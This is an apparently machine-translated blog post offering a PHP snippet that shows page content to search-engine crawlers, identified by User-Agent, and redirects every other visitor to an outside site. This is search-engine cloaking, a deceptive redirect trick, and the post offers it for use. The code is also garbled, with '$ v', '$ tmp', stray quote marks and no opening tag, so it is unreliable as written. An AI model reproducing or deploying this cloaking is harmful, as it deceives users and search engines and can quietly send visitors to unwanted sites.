The php spider crawls normally, and the user visits and transfers the specified page code

Sometimes the content we display is for search engines, and many users do not need to see it, so I will share the php code below. The spider will crawl it normally, and the user will transfer the specified page code when visiting

$ v = false;
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
 $v = true;
} else if(strpos ($tmp, 'Baiduspider') >0){
 //echo 'Baidu';
 $v = true;
} else if(strpos($tmp, 'Yahoo! Slurp') !== false ){
 //echo 'Yahoo';
 ' $v = true;
} else if(strpos($tmp, 'msnbot') !== false){
 //echo 'Msn';
 $v = true;
} else if(strpos($tmp, 'Sosospider') !== false){
 //echo 'Sosospider';
 $v = true;
} else if(strpos ($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
 //echo 'Youdao';
 $v = true;
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
 //echo 'Sogou';
 $v = true;
} else if(strpos($tmp, 'fast-webcrawler') !== false){
 //echo 'Alltheweb';
 $v = true;
} else if(strpos($ tmp, 'Gaisbot') !== false){
 //echo 'Gais';
 $v = true;
} else if(strpos($tmp, 'ia_archiver') !== false){
 //echo 'Alexa';
 ' $v = true;
} else if(strpos($tmp, 'altavista') !== false){
 //echo 'AltaVista';
 ' $v = true;
} else if(strpos($tmp, 'lycos_spider') !== false){
 //echo 'Lycos';
 $v = true;
} else if(strpos($tmp, 'Inktomi slurp') !== false){
 //echo 'Inktomi';
 $v = true;
}

if($v != true){
 header("Location: http://www.xiaobei668.com");
}
?>

Search engine, Baidu, Soso, false